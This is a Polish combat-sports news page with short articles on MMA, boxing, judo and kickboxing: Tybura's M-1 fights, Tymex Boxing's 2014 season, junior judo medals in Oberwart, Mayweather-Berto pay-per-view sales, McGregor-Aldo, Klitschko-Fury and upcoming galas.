Pojawił się problem. Właściciele M-1 cierpieli. Dlaczego? Chcieli kolejnych wielkich pojedynków, ale nie mieli z kim zestawić Tybury. Najzwyczajniej w świecie brakowało wartościowego przeciwka. Nie ma sytuacji bez wyjścia, więc dyrekcja M-1 postanowiła zorganizować super walkę, w której Tybura zmierzył się z czempionem kategorii półciężkiej Stephenem Puetzem. Polak zdecydowanie ruszył na Niemca i słał w jego stronę kolejne ciosy, ale im dalej w las tym gorzej. Tybura nie wytrzymał tempa, a lżejszy Puetz mógł dać popis swoich umiejętności. W trzeciej rundzie złamał nos rywalowi i sędzia przerwał pojedynek. Była to pierwsza porażka Tybury w M-1, ale i w całej zawodowej karierze.

Kolejnym rywalem Polaka, z którym musiał rywalizować w obronie pasa był Ante Delija. Zdecydowanym faworytem był Tybura.

Złamana noga

Chorwat nie przestraszył się mistrza i ruszył do przodu. Mocne uderzenia dochodziły do celu, ale nie robiły wrażenia na polskim zawodniku.

Po chwili rozpoczął się dramat Deliji. Niskie kopnięcie miało „zranić” Tyburę, ale fatalnie skończyło się dla zawodnika z Bałkanów. Delija złamał nogę. Tybura zablokował jego kopnięcie, a ten postawił kończynę tak, że wygięła się nienaturalnie. Chorwat padł na deski, Tybura szybko dopadł rywala i chciał zadać serię ciosów, ale zobaczył, że przeciwnik ma kłopoty. Sędzia przerwał pojedynek. Tybura po raz drugi obronił mistrzowski pas. Kolejna jego walka zakończyła się już w pierwszej rundzie.

Fot. uno-per-due.blogspot.com

KM

Podsumowanie roku okiem Tymex Boxing Promotion

Grupa Tymex Boxing Promotion prężnie weszła na bokserski rynek w Polsce. W mijającym 2014 roku stajnia Mariusza Grabowskiego zorganizowała cztery imprezy – począwszy od kameralnej w Pionkach w lutym, kończąc na dużym grudniowym evencie w Radomiu, transmitowanym przez telewizję Polsat oraz przy pomocy grupy Global Boxing, na którym w pojedynku wieczoru Mariusz Wach skrzyżował rękawice z Travisem Walkerem. 8 lutego w hali sportowej przy ul. Sosnowej w Pionkach odbyła się pierwsza tegoroczna gala Tymex Boxing.

Michał Żeromiński w pojedynku wieczoru oraz nokautująca Ewa Brodnicka stworzyli dobre widowisko, swoje dołożyło również miasto, które przed imprezą na nadzwyczajnej sesji Rady Miasta podjęło decyzję o przyznaniu Januszowi Pinderze tytułu Honorowego Obywatela Miasta Pionki. Wybitny ekspert boksu, który komentował tę imprezę, podczas gali został uroczyście przywitany owacjami. Ze sportowego punktu widzenia gala była zdecydowanie na plus, mimo dość ograniczonych kosztów.

– Ja osobiście jestem zadowolony, kibice dopisali, emocje były dosć duże. Myślę, że kolejną naszą imprezę można uznać za udaną. Wszystko rozchodzi się o budżet. Poziom sportowy był dopasowany do pieniędzy, jakimi dysponowaliśmy – przyznawał wtedy Mariusz Grabowski.

Niespełna dwa miesiące później w kieleckiej Galerii Korona w akcji mieliśmy okazję obejrzeć na dłuższym dystansie Ewę Brodnicką, która zaboksowała na dystansie dziesięciu rund z Kremeną Petkową. Polska pięściarka przekonująco uporała się z rywalką z Bułgarii, zdobywając przy tym tytuł WBF International wagi junior półśredniej. Na gali kolejne zwycięstwa zanotowali też m.in. Nikodem Jeżewski, Robert Parzęczewski i doświadczony Krzysztof Rogowski. Po drodze była także gala w Ślesinie. Okres letni to zwykle czas odpoczynku od pięściarstwa i przygotowywanie się na interesującą jesień. Tak było również w przypadku grupy Tymex. Mariusz Grabowski nawiązał współpracę z dobrze znanym w środowisku szefem grupy Global Boxing, stacjonującej w amerykańskim North Bergen, Mariuszem Kołodziejem. Motywem przewodnim była wzajemna pomoc w organizacji gal w Polsce oraz chęć rozwoju karier polskich pięściarzy. Efektem tych rozmów była gala w Dzierżoniowie. Na uwagę zasługiwał wielki powrót Mariusza Wacha, który w ringu nie pojawiał się już od prawie dwóch lat. "Viking" podczas Windoor Boxing Night wygrał wysoko na punkty z Samirem Kurtagiciem, a inny zawodnik Mariusza Kołodzieja, Kamil Łaszczyk, pokonał twardego Sergio Romero. W undercardzie znaleźli się też Nikodem Jeżewski, Michał Gerlecki, Ewa Brodnicka oraz Damian Wrzesiński.

– Chcemy coś osiągnąć, pokazać. Myślę, że współpraca na linii Tymex-Global będzie kwitnąć. Po tej gali będziemy szli cały czas do przodu – mówił we wrześniu promotor Mariusz Grabowski.

Tak też się stało. 12 grudnia w Radomiu wspierające się grupy zorganizowały bardzo dużą imprezę. Pewne zwycięstwo Wacha w starciu z Kurtagiciem dało promotorom do zrozumienia, że czas na większą walkę dla Mariusza oraz trudniejszego rywala. Przeciwnikiem "Vikinga" został ogłoszony były oponent Tomasza Adamka, dobrze znany polskim kibicom Travis Walker. Amerykanin na konferencji prasowej oraz w wywiadach odgrażał się, że złamie Wacha i skończy jego karierę, ale rzeczywistość była jednak inna. Polski pięściarz zwyciężył 35-latka przed czasem w szóstej rundzie, pokazując, że przed nim jeszcze sporo ciekawych potyczek. Przyszłość klaruje się w jasnych barwach. Przed grupą Tymex Boxing Promotion we współpracy z Global Boxing kilka ciekawych wydarzeń w nadchodzącym roku. Pojawić się mogą również nowi pięściarze, którzy zasilą stajnię.

– Jeśli chodzi o współpracę z Mariuszem Kołodziejem, to wszystko jest poukładane. Wszyscy wyróżniający się nasi zawodnicy będą mogli wylatywać do USA na treningi w Global Boxing. Jesteśmy gwarancją, że w naszej grupie bokserzy mogą się rozwijać. Oby 2015 rok był równie udany jak poprzedni, a nawet lepszy – przekonuje Grabowski.

Kolejne dwa medale

W Oberwart łupem Polaków padły kolejne dwa medale. Łącznie podczas mistrzostw Europy juniorów w judo biało-czerwoni wywalczyli cztery krążki.

Tym samym reprezentacja Polski poprawiła wynik, który osiągnęła przed rokiem w Bukareszcie. Wtedy nasi juniorzy wywalczyli dwa medale, jednak było wśród nich złoto. W Oberwart Polacy wywalczyli srebro i trzy brązowe medale.

Załęczna o krok od mistrzostwa

Marzenia o złotym medalu mogła spełnić Anna Załęczna w kategorii +78kg. Można powiedzieć, że Polka do finału mistrzostw Europy awansowała w ekspresowym tempie. W jej kategorii wagowej rywalizowało zaledwie dwanaście judoczek. Na początek Załęczna otrzymała wolny los, więc miała więcej czasu, aby przygotować się do pierwszego pojedynku. Mercedesz Szigetvari przystępowała do rywalizacji z Polką po zwycięstwie nad Danielą Rainer, ale był to jedyny powód do radości podczas mistrzostw Europy. Załęczna rozprawiła się z Węgierką i już przygotowywała się do starcia półfinałowego, gdzie trafiła na Katarinę Vuković. Chorwatka stosowała nieczyste zagrania, co się zemściło. Cztery kary shido sprawiły, że Vuković przegrała przez dyskwalifikację, a Załęczna stanęła przed szansą wywalczenia złotego medalu. Sztuka ta nie powiodła się. W decydującym starciu lepsza od naszej judoczki okazała się Wasylyna Kyrychenko.

Piotr Kuczera w kategorii 90kg rozpoczął rywalizację w mistrzostwach Europy od zwycięstwa nad Rokasem Simonisem z Litwy. Davyd Kharebava był kolejnym rywalem polskiego judoki, ale i on nie znalazł sposobu na naszego zawodnika. Z marszu po medal wytrącił Kuczerę Mikhail Igolnikov. Szansą na pozostanie w grze były repasaże. Polak wygrał rywalizację z Li Kochmanem, który został zdyskwalifikowany. Dzięki temu Kuczera stanął przed szansą na zdobycie brązowego medalu. Mistrzostwa rozpoczął od walki z Litwinem i zakończył je starciem z zawodnikiem z tego samego kraju. Rokas Nenartavicius starał się jak mógł, ale często odwoływał się do nieczystych zagrań. Ostatecznie przegrał 1:3 karami shido. Kuczera mógł cieszyć się z brązowego medalu.

Pierwszego dnia rywalizacji Julia Kowalczyk (57 kg) i Patryk Wawrzyczek (66 kg) sięgnęli po brązowe medale. Na siódmych miejscach uplasowały się Martyna Dobrowolska (57kg) oraz Kamila Pasternak (78kg).

Holandia najlepsza

Reprezentacja Polski w Oberwart zdobyła cztery medale, co pozwoliło naszym juniorom na zajęcie dwunastego miejsca w klasyfikacji generalnej. Najwięcej złotych krążków zdobyli zawodnicy z Holandii. Amber Gersjes (44kg), Larissa Greenwold (77kg), Roy Koffijberg (55kg) i Frank de Wit (81kg) wywalczyli pierwsze miejsca w swoich kategoriach. Cztery złote medale były największym osiągnięciem spośród wszystkich nacji. Holendrzy wywalczyli łącznie sześć krążków. Drudzy, z trzema złotymi medalami, w klasyfikacji znaleźli się Gruzini. Trzecia pozycja dla Francuzów. Rosjanie uplasowali się na piątym miejscu z dorobkiem ośmiu medali, ale zaledwie tylko jednym złotym.

KM

Obrona interesu, ale czyjego?

Oświadczenie trenera Ankosu Zapasy Poznań Andrzeja Kościelskiego stawia wiele znaków zapytania. Szkoleniowiec stara się obronić przed krytyką po słabym występie Jana Błachowicza na gali UFC 191 w Las Vegas, gdzie popularny „John” przegrał z Corey’em Andersonem.

Andrzej Kościelski podjął próbę przedstawienia zasad, na których opierała się jego współpraca z zawodnikiem oraz oczyszczenia atmosfery wokół klubu. Czy była to próba udana? Jest to nadto wątpliwe.

Strzał w kolano

Nie ulega wątpliwości, że Jan Błachowicz to postać szeroko znana w świecie MMa. Występy  „Johna” na galach organizacji UFC również zrobiły swoje. Błachowicz stał się niezwykle atrakcyjny marketingowo i zwyczajnie jest kojarzony ze Stanami Zjednoczonymi, czyli w mniemaniu wielu lepszym światem. Fakt, że przygoda z UFC w wykonaniu „Johna” wygląda coraz gorzej, ale warto uchwycić pewien element sukcesu, wybicia się z polskiego podwórka.

Na tym wszystkim mógł skorzystać klub z Poznania. Błachowicz trenował tam i doskonalił swoje umiejętności. Wsparciem dla niego był Andrzej Kościelski, jednak porażka z Andersonem sprawiła, że posypały się gromy krytyki. Ustosunkować się do niej postanowił szkoleniowiec.

Kościelski usiadł przed kamerą i odczytał swoje oświadczenie. Tekst pełen wulgaryzmów, niespójny, przedstawiony w chaotyczny sposób. Każdy jest w stanie zrozumieć, że trener ma prawo do zaprezentowania własnego zdania. Pojawia się pytanie, czy za wszelką cenę. Chodzi o zachowanie kultury i pewnych zasad. Standardem jest załatwianie spraw w gronie współpracowników, a Kościelski winę za porażkę stara się jakby przełożyć na zawodnika, choć sam od niej nie ucieka. Opisuje praktyki i działania Błachowicza, które być może miały wpływ na jego słaby występ. Tylko, czy nie powinno zostać to wyjaśnione w relacji trener-zawodnik? Współpraca między panami dobiegła końca, więc trudno jakkolwiek odnieść się do zachowania szkoleniowca, który publicznie stara się „prać brudy”.

Dodatkowo Kościelski odnosi się do obraźliwych komentarzy, które pojawiły się po walce w internecie. W dosadny sposób kieruje swoje słowa do osób podejmujących krytykę jego osoby. Nie jest to na pewno smaczne i z pewnością są inne drogi załatwiania tego typu spraw.

Ucierpiał wizerunek

Każdy ma prawo do obrony –to niezaprzeczalne. Z tym, że oświadczenie zaprezentowane przez Andrzeja Kościelskiego w dużej mierze uderza w jego osobę i sam klub. To swego rodzaju marketingowa porażka.

Ankos Zapasy Poznań to klub, który ma określoną renomę. Trenerzy to profesjonaliści i każdy szkoleniowiec powinien być mentorem. Styl wypowiedzi Kościelskiego sprawia, że na jego autorytecie pojawia się rysa. Przy okazji szkoleniowiec obwinia inne kluby o sianie zamętu i krytyki, czyli uderza jakby we własne środowisko. To dość rozpaczliwa próba ratunku i wytłumaczenia niepowodzenia.

Próba, która może być niezwykle bolesna. Bo cały czas trudno znaleźć odpowiedź na pytanie o powody emisji oświadczenia Kościelskiego. Z jednej strony to próba obrony, z drugiej krytyka i wytłumaczenie porażki Błachowicza, dodatkowo cios we własne środowisko, a także uderzenie w dobre imię klubu oraz ogólnie przyjęte standardy zachowania.

Jak zauważył sam trener Kościelski: „To jest sport – raz się wygrywa, raz się przegrywa”.

KM

Ostatnia walka „Moneya” klapą?

Z pierwszych danych na to wychodzi. Sprzedaż pakietów pay-per-view na walkę Floyda Mayweathera Jr. z Andre Berto wypadła blado.

„Money” odniósł czterdzieste dziewiąte zwycięstwo na zawodowym ringu i pożegnał się z publicznością jako niepokonany. Teraz będzie zajmował się innymi rzeczami. Do rozliczenia pozostała ostatnia walka.

Słaby interes

Mayweather wzbogacił się już w maju, kiedy to przyszło mu rywalizować z Manny Pacquiao. Pojedynek określany mianem walki XXI wieku przyniósł ogromne dochody. Amerykanin zgarnął ponad dwieście milionów dolarów. Rywalizacja wzbudzała zainteresowanie wszystkich. Cały świat chciał zobaczyć ten pojedynek, a więc promocja walki stała na wysokim poziomie. Mayweather musiał zrobić odpowiednią akcję marketingową, aby zainteresować cały świat i zwiększyć dochód z rywalizacji z Filipińczykiem. Telewizja mogła liczyć zyski, tak samo Mayweather, ale i Pacquiao.

Wielu podkreśla, że wystarczy taka jedna walka w życiu, aby wyjść na swoje. Coś pewnie w tym jest, ale jeśli jest się marką jak Mayweather Jr. to ciągle trzeba promować produkt, aby przynosił on odpowiednie zyski. „Money” sprawił, że cały świat myślał, czy faktycznie najlepszy bokser pożegna się z ringiem. Ten element budował zainteresowanie walką, ale reszta budziła zastrzeżenia. Andre Berto to solidny pięściarz, jednak w żaden sposób nie mógł zaszkodzić Mayweatherowi. Dodatkowo styl walki pozostawiał wiele do życzenia. „Money” aż tak bardzo nie angażował się w promocję pojedynku i nie zrobił show, które przyciągnęłoby miliony widzów i miliony dolarów.

Zrobił po prostu swoje. Wszedł do ringu, zrealizował założenia taktyczne i wygrał. Zapowiadana była ostatnia walka w karierze, odbyła się, koniec, kropka. Mayweather pozostał wielkim mistrzem, pięściarzem niezwyciężonym.

Niska sprzedaż

Rzut oka do statystyk. Na pojedynek Mayweather vs Pacquiao sprzedano ponad cztery miliony pakietów pay-per-view. Pierwsze szacunki dotyczące ostatniej walki w karierze „Moneya” nie są optymistyczne. Na zakup pakietu pay-per-view na starcie Mayweather vs Berto zdecydowało się niecałe pół miliona osób.

Kto jest temu winny? Dla Andre Berto ten pojedynek był ogromną szansą. Mayweather takich pojedynków stoczył wiele i można powiedzieć, że sukces i pieniądze to jego drugie imię. Berto jednoznacznie wskazuje, że to mistrz wagi średniej ponosi winę za słaby wynik sprzedaży pakietów na walkę. – Z pewnością to wina Floyda. On już w walce z Pacquiao nie zrobił na kibicach dobrego wrażenia. Miałem świadomość, że Mayweather będzie uciekał od walki i będzie ona nudna. Starałem się, aby tak nie było. Kibice zasługiwali na dobrą walkę – powiedział Berto.

Mayweather jak zwykle w swoim stylu podsumował zakończenie kariery. -Teraz wszyscy będą tęsknili za Floydem Mayweatherem – skwitował Amerykanin.

KM

Juniorzy zdobywają medale

Dwudziestoosobowa kadra Polski juniorów udała się do Oberwart na mistrzostwa Europy w judo. Są już pierwsze efekty w postaci zdobyczy medalowych.

Julia Kowalczyk w kategorii 57kg i Patryk Wawrzyczek 66kg to nasi medaliści. Judocy zdobyli brązowe medale. Czy Polacy powiększą dorobek medalowy?

Skazany na brąz

Rok temu w Bukareszcie biało-czerwoni zdobyli dwa medale, czyli dzięki Kowalczyk i Wawrzyczkowi to osiągnięcie zostało wyrównane, ale rywalizacja w Oberwart jeszcze trwa. Daje to nadzieję na lepszy rezultat niż w przypadku poprzedniego czempionatu. Z tym, że rok temu Anna Borowska w kategorii 57kg sięgnęła po tytuł mistrzyni świata. Czy tym razem z europejskiego czempionatu któryś z naszych juniorów wróci w glorii najwyższej chwały?

Kowalczyk i Wawrzyczek byli blisko, ale musieli zadowolić się udziałem w finale pocieszenia. Triumf pozwolił im zostać medalistami mistrzostw Europy. Julia Kowalczyk w Oberwart stoczyła pięć pojedynków, w których zanotowała jedną porażkę. To potknięcie kosztowało ją możliwość walki o złoto. W rywalizacji o trzecie miejsce Polka spotkała się z Dewy Karthaus. Holenderka musiała uznać wyższość zawodniczki Polonii Rybnik, która zwyciężyła przez ippon. Mistrzynią Europy została Rumunka Stefania Dobre. Tak jak i rok temu Polska zdobyła medal w kategorii 57kg wśród pań. Z tą różnicą, że tym razem jest to brąz, a nie złoto.

Patryk Wawrzyczek w tym sezonie jest ściśle związany z trzecim miejscem. Po raz kolejny zajmuje właśnie tę lokatę w zawodach rangi międzynarodowej. W Pucharze Europy Juniorów i Juniorek we Wrocławiu Wawrzyczek sięgnął po brązowy medal. Tak jak i w Pucharze Europy w Celje, gdzie judoka AZS AWF Katowice zaliczył najlepszy wynik ze wszystkich Polaków. Zgodnie z tradycją Wawrzyczek był trzeci. W Oberwart nie mogło być inaczej. Wawrzyczek był w dobrej formie, ale jedna przegrana walka sprawiła, że musiał zadowolić się rywalizacją o brązowy medal. Lukas Reiter po pojedynku musiał pogratulować Polakowi zwycięstwa. Judoka AZS-u AWF Katowice wygrał przez waza-ari i wywalczył brązowy medal na mistrzostwach Europy.

Warto nadmienić, że Kowalczyk i Wawrzyczek przed startem w Oberwart byli przedstawiani jako mocne punkty naszej ekipy i nadzieje na medale. Te przewidywania sprawdziły się.

Medal był blisko

W gronie szans medalowych wymieniana była również Martyna Dobrowolska w kategorii 57kg. Tylko jednej z Polek udało się stanąć na podium. Dobrowolska musiała zadowolić się siódmą pozycją w mistrzostwach Europy juniorów w Oberwart.

W rywalizacji z Marią Skorą, której stawką był pojedynek o brąz, Dobrowolska walczyła ambitnie. Obie judoczki były ostrożne i uważne. Żadna nie chciała popełnić błędu, dlatego też pojedynek musiał rozstrzygnąć się w dogrywce. Więcej sił oraz energii zachowała Ukrainka. Dobrowolska przegrała rywalizację ze Skorą.

KM

Mistrz krytykuje mistrza

Utarczki w świecie boksu to niemal codzienności. Deontay Wilder postanowił odnieść się do krytyki, którą w jego stronę skierował Władimir Kliczko.

Wiadomo, że Wilder i Kliczko to czołowi pięściarze wagi ciężkiej. Amerykanin jest mistrzem świata WBC, zaś Ukrainiec dzierży w swoich dłoniach cztery pasy: IBO, IBF, WBO i WBA.

Zupełnie inni rywale

Wilder i Kliczko przygotowują się do kolejnych pojedynków. Amerykanin 26 września zmierzy się z Johannem Duhaupasem. Kliczko stanie do boju z Tyson’em Fury’m, a pojedynek odbędzie się 24 października. Od razu rzuca się w oczy fakt, że mistrz z Ukrainy zmierzy się z powszechnie znanym bokserem z Wysp Brytyjskich. Nazwisko rywala Wildera nie jest tak medialne.

Johann Duhaupas to 34-letni pięściarz, który w swojej karierze przegrał dwie walki. Za pierwszym razem zastopował go Francesco Pianeta. Duhaupas pokonywał kolejnych rywali, ale byli to pięściarze, których trudno zaliczyć do zawodników z najwyższej półki. Gdy przyszło mu rywalizować z urodzonym we Włoszech Pianetą poprzeczka automatycznie poszła w górę, a Francuz musiał uznać wyższość rywala, choć stoczył wyrównaną walkę. Zabrakło szczęścia, ale i sprytu. Kolejne pojedynki to próba odbudowania pozycji, co udało się, jednak w tym roku niespodziewanie poległ w starciu z Erkanem Teperem. Duhaupas to dobry i solidny pięściarz, ale nigdy nie udało mu się wejść do czołówki. Bokser z Francji nie był łakomym kąskiem pod względem marketingowym. Do tej pory wykonywał dobrą pracę i nadal to robi, ale jak to zwykło się mawiać jest solidnym wyrobnikiem. W ostatnim pojedynku zastopował Manuela Charra, czyli boksera dobrze znanego w wadze ciężkiej.

Duhaupas, a Fury to spora różnica. Z pewnością ich walka byłaby ciekawa, ale zestawienie nazwisk powoduje, że wszyscy momentalnie wiedzą, kim jest Brytyjczyk. Z Francuzem jest nieco gorzej. Tej kwestii „uczepił” się Władimir Kliczko. Mistrz z Ukrainy stwierdził, że Wilder rywalizuje z pięściarzami o nikłej renomie.

Riposta Amerykanina

Każdy ma prawo do obrony. Także Wilder, który bez wątpienia jest królem nokautów. Do tej pory tylko jedna walka rozstrzygnęła się w jego przypadku na punkty, a pozostałe trzydzieści trzy Amerykanin rozstrzygnął przed czasem. Jednak zgodnie z tym, co stwierdził Kliczko to kwestia doboru rywali.

Co na to sam Wilder? – W ten sposób Kliczko krytykuje samego siebie. Jeśli on mówi w ten sposób o swoich rywalach, to powinien spojrzeć na to, co sam robił przez ostatnią dekadę. Walczył z rywalami, których nikt nie znał. Nie wiadomo skąd ich brał, pojawiali się jak króliki z kapelusza. Słowa Kliczko są dla mnie po prostu śmieszne – stwierdził mistrz świata WBC.

KM

Kto zatriumfuje w Londynie?

Polsko-angielskie pojedynki zawsze budziły ogromne emocje. Tym razem dojdzie do starcia na gruncie kickboxingu i MMA. Już 20 września w Londynie odbędzie się gala Valeriia Duet Fight Night.

Mecz Polska-Anglia to osiem pojedynków, w których wystąpią fighterzy o ugruntowanej pozycji w świecie sportów walki. Biało-czerwonych reprezentować będą m.in. Michał Królik i Maciej Garbaczewski.

Na szali tytuł mistrza Polski

Gala nie będzie zwykłym meczem. Rywalizacja ma zobrazować, która nacja prezentuje się lepiej na płaszczyźnie kickboxingu oraz MMA. Dodatkowo w czterech przypadkach walka będzie toczyła się o pasy mistrzowskie. Stawką dwóch pojedynków będzie tytuł międzynarodowego zawodowego mistrza Polski w K-1 Rules.

Michał Królik z Team Paco Katowice w kategorii 60kg zmierzy się z Paulem Barberem. To starcie będzie swego rodzaju pojedynkiem tytanów, którzy są królami na własnym podwórku. Barber to mistrz Anglii w muay thai. Dokonania Michała Królika są bardzo bogate. Fighter z Katowic wielokrotnie sięgał po medale w rywalizacji w muay thai i K-1, ale nie tylko w kraju – także w Europie i na świecie. Królik może pochwalić się bogatymi zdobyczami na płaszczyźnie zawodowej. W 2013 sięgnął po tytuł mistrza świata federacji WAKO w K-1, zaś trzy lata wcześniej triumfował na tym samym poziomie, tyle że w UPKA. Tym razem stawką rywalizacji będzie pas zawodowego międzynarodowego mistrza Polski w K-1. Królik doskonale zna smak sukcesów, ale Anglik nie będzie łatwym kąskiem. Zwłaszcza, że walczy u siebie.

Macieja Garbaczewskiego nikomu przedstawiać nie trzeba. To doświadczony i utytułowany zawodnik na gruncie kickboxingu. Garbaczewski wygrał ponad pięćdziesiąt walk amatorskich. Na płaszczyźnie kickboxingu zbierał doświadczenia w prawie wszystkich formułach. W tym roku wywalczył tytuł mistrza Polski w low-kicku, a dwa lata temu był najlepszy w kraju w full-contact. Garbaczewski brał wielokrotnie udział w zawodach Pucharu Świata. W Londynie Polak zmierzy się z Kurtisem Allenem, który ma większe zawodowe doświadczenie, o pas międzynarodowego zawodowego mistrza Polski w K-1 67kg.

Mistrzowie gali

Pojedynek o pas mistrza gali Duet Fight Night w MMA w kategorii do 77kg stoczy Ireneusz Szydłowski. Polak do tej pory stoczył trzy pojedynki i może poszczycić się stuprocentową skutecznością. Rywalem Szydłowskiego będzie Andy Kerr. Anglik jest bardziej doświadczony na płaszczyźnie MMA niż Polak. Kerr w zawodowej karierze stoczył dziesięć pojedynków, z czego sześć wygrał. Już raz walczył z zawodnikiem z Polski. Rok temu przez nokaut pokonał Jacka Toczydłowskiego.

Patryk Zaborowski w kategorii 91kg w K-1 powalczy o pas Duet Fight Night z doświadczonym i skutecznym Dawidem Sa. W Londynie zaprezentują się również Marta Waliczek, Roger Garbaczewski, Jerzy Wroński oraz Kamil Jenel.

KM

Conor z pasem w domu?

Wszystko zależy od niego. Conor McGregor już niebawem może spełnić swoje marzenia i sięgnąć po mistrzowski pas UFC w kategorii piórkowej.

Wystarczy tylko pokonać Jose Aldo 12 grudnia podczas gali UFC 194 w Las Vegas. Łatwo się mówi, trudniej zrealizować plan. Brazylijczyk to prawdziwy dominator.

Nagroda czeka

Mówisz McGregor, myślisz show. Irlandczyk ma bogaty repertuar zagrań i potrafi zwrócić na siebie uwagę oraz zainteresować społeczność wydarzeniem, w którym odgrywa jedną z głównych ról. Tak naprawdę McGregor nakręca atmosferę w UFC. Irlandczyk jest swego rodzaju magnesem, dlatego też organizacja dba o niego niczym o swój skarb.

McGregor chce być mistrzem UFC, ale musi pokonać Jose Aldo. Nie będzie to zadanie łatwe. Wielu ekspertów podkreśla, że Brazylijczyk może pokazać Irlandczykowi miejsce w szeregu i pokazać swoją siłę. McGregor potrafi znokautować słowem. Do tej pory w oktagonie radził sobie bez zarzutów. W tym roku stoczył dwa pojedynki i oba wygrał przed czasem. Zalał ciosami Dennisa Sivera i Chada Mendesa. W swojej karierze dwa razy musiał uznać wyższość rywali, po raz ostatni pięć lat temu.

Na walkę z Aldo czekał. Irlandczyk doskonale wie, że Brazylijczyk to ostatnia przeszkoda na drodze do mistrzostwa. McGregor jest przekonany, że odbierze Aldo pas. Brazylijczyk od dziesięciu lat jest niepokonany. 29-letni fighter jest niezwykle wytrzymały i twardy. W ostatnim czasie jego pojedynki trwały pięć rund. McGregor takiego wysiłku jeszcze nie doświadczył.

Warto nadmienić, że Irlandczyk w przypadku zdobycia pasa może wrócić do domu. Nie chodzi o zakończenie kariery, ale pojedynek stoczy na rodzimej ziemi. Jak zapewniał Dan White w przypadku wygranej z Jose Aldo walkę w obronie pasa stoczy na stadionie Croke Park w Dublinie.

Dodatkowa motywacja?

Być może to jeden z elementów, który ma zmotywować McGregora. Choć tak naprawdę Irlandczyk jest świadom wyzwania, przed którym staje, a przede wszystkim jest zdeterminowany, aby zdobyć tytuł.

Dla UFC McGregor jest niezwykle cenny. Irlandczyk to ogromny kapitał i postać, która potrafi przyciągnąć zainteresowanie i zbudować odpowiednią atmosferę wokół swoich kolejnych pojedynków. Z pewnością okazja do stoczenia walki w Dublinie byłaby dla 27-latka ogromnym wyróżnieniem. Stadion, na którym może zasiąść osiemdziesiąt dwa tysiące kibiców robi wrażenie, a McGregor lubi robić show i znakomicie się w tym czuje. Możliwość walki na takim obiekcie to również spełnienie marzeń.

Krytycy podkreślają, że to niepotrzebne wybieganie w przyszłość. Najpierw musi odbyć się walka McGregor-Aldo, aby przekonać się, kto jest prawdziwym mistrzem. Być może Dan White pospieszył się ze swoją deklaracją. W grudniu wszystko się okaże.

KM

Kliczko zostanie terapeutą

Z ringiem pożegnał się Floyd Mayweather Jr., czyli wielka osobowość zawodowego boksu. Przewijał się również temat odejścia na emeryturę Władmira Kliczko. Mistrz wagi ciężkiej przygotowuje się do kolejnej walki i nic nie wskazuje na to, aby był to jego ostatni pojedynek.

Na placu boju pozostał jeden Kliczko. Witalij zajął się działalnością polityczną, z kolei Władimir nadal jest wielkim czempionem wagi ciężkiej. Mówi się o jego dominacji, ale gdzieś w przestrzeni pojawia się pytanie o słabość konkurentów.

Wielka postać

Takich pięściarzy już nie ma. Władimir Kliczko to inny kaliber, rozmiar człowieka, który jest bokserem. Pełna kultura, elegancja, inteligencja oraz umiejętności. Z tym, że kwestią podstawową jest fakt, że Ukraińcowi lat przybywa, a nie ubywa. Przychodzą młodzi gniewni i nie potrafią tego zmienić go na tronie królewskiej kategorii.

Dlaczego? Kliczko kieruje się swoją mądrością i doświadczeniem. Te elementy decydują o jego triumfach. Kliczko jest niczym stary lis, który dokładnie analizuje przeciwnika i wie, kiedy uderzyć. Na to pracuje się latami i Ukrainiec teraz może z tego czerpać. Ostatni raz na zawodowym ringu przegrał w kwietniu 2004 roku z Lamonem Brewsterem. Potem konsekwentnie robił swoje i wszedł na bokserki szczyt. Ukrainiec jest posiadaczem pasów IBF, IBO, WBO i WBA w wadze ciężkiej. Według portalu boxrec.com po zakończeniu kariery przez Floyda Mayweathera Jr., Kliczko jest najlepszym pięściarzem świata bez podziału na kategorie wagowe.

24 października na gali w Dusseldorfie stoczy sześćdziesiąty ósmy pojedynek w karierze. Jego rywalem będzie Tyson Fury.

Leczenie gwarantowane

Bokser z Wysp Brytyjskich do potulnych baranków nie należy i zawsze zwykł głośno mówić o swoich pragnieniach. Nie ulega wątpliwości, że Tyson Fury mierzy wysoko. Na każdym kroku podkreśla swoje dążenie do mistrzostwa. Pojedynek z czempionem z Ukrainy będzie doskonałą okazją do weryfikacji jego umiejętności i predyspozycji do zajęcia miejsca na szczycie.

Obecnie Fury trenuje i intensywnie przygotowuje się do walki z Kliczko. Bokser z Wysp wie, co jest kluczem do wygranej. – Najważniejsza jest siła ciosu. Dlatego pracujemy nad tym, bo wiem, że wygrana z Kliczko możliwa jest przez nokaut i to mam zamiar zrobić. Trenuję z wysokimi facetami. Do ringu wchodzi jeden za drugim. Odbywam kilka rund dziennie – mówi 27-letni Fury.

Kliczko niejednego rywala pozbawił już złudzeń. Tym razem ma być podobnie jak w rywalizacji z Davidem Haye'm. – Sądzę, że mogę sprawić, że Tyson Fury będzie lepszą osobą. David Haye po zastosowanej terapii stał się lepszy. Po kilku latach od naszej walki rozmawiałem z nim i był zupełnie inaczej niż przed pojedynkiem. W przypadku Fury'ego może być podobnie. Mogę przeprowadzić na nim skuteczną terapię – porównuje mistrz wagi ciężkiej.

KM

Gala Kickboxingu Zawodowego IMBIRIADA FIGHTERS NIGHT 5

W sobotę 7 listopada o godz. 19:00 w Rzeszowie odbędzie się kolejna, piąta już edycja Gali Kickboxingu Zawodowego „Fighters Night”. Organizatorzy zapraszają na wspaniałe widowisko „Imbiriada Fighters Night 5” do kompleksu Blue Diamond Hotel Active SPA**** położonego przy trasie Rzeszów – Port Lotniczy Jasionka.

Gale Kickboxingu Zawodowego „ Fighters Night”, to wydarzenia, które wpisały się na stałe w harmonogram imprez organizowanych pod patronatem PZKB i mają na celu wykreowanie jedynego w swoim rodzaju widowiska sportowego, które pokocha publiczność podziwiająca zmagania zawodników na żywo jak i widzowie oglądający przed odbiornikami transmisje internetowe i telewizyjne. Podczas ekscytujących, międzynarodowych gal swój kunszt prezentują Mistrzowie Świata, Europy oraz Polski. Niejednokrotnie już na ringu „Fighters Night” walczyli najlepsi, polscy fighterzy: Iwona Nieroda, Dawid Kasperski, Wojciech Kosowski, Arkadiusz Kaszuba i inni utalentowani zawodnicy, a w walkach międzynarodowych  podziwiani byli zawodnicy z różnych części świata:  Radovan Kulla ze Słowacji, Tudor Turcan z Maroka, Oksana Romanowa z Ukrainy, Dimitar Iliev z Bługarii, Mucahit Kulak z Turcji oraz wielu innych zagranicznych zawodników.  Na galach „Fighters Night” goszczą także znane nie tylko w Polsce ale i na świecie osobistości związane z kickboxingiem, gośćmi specjalnymi poprzednich edycji byli: Albert Sosnowski, Przemysław Saleta, Marek Piotrowski, Ewa Brodnicka. 

